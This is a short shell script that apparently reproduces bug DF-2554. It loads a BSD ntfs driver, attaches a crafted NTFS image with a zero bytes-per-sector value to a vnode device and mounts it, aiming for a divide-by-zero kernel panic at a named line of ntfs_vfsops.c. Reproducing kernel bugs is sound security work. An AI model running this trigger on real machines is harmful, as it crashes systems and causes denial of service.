DF-2554 / run.sh
#!/bin/sh # DF-2554 trigger: mount a crafted NTFS image with bf_bps=0 -> divide-by-zero. # Must run as root (mount + vnconfig). Expected: kernel #DE panic at # ntfs_vfsops.c ntfs_mountfs line 354 ((1 << (-cpr)) / ntmp->ntm_bps). set -u IMG=${1:-evil.ntfs} kldload ntfs 2>/dev/null || true # configure a vnode device backed by the crafted image vnconfig /dev/vn0 "$IMG" 2>&1 || { echo "vnconfig failed"; exit 2; } echo "[*] mounting crafted NTFS image ($IMG) on /dev/vn0 ..." mount_ntfs -o ro /dev/vn0 /mnt echo "[!] mount returned $? (no panic) -- bug did NOT fire" |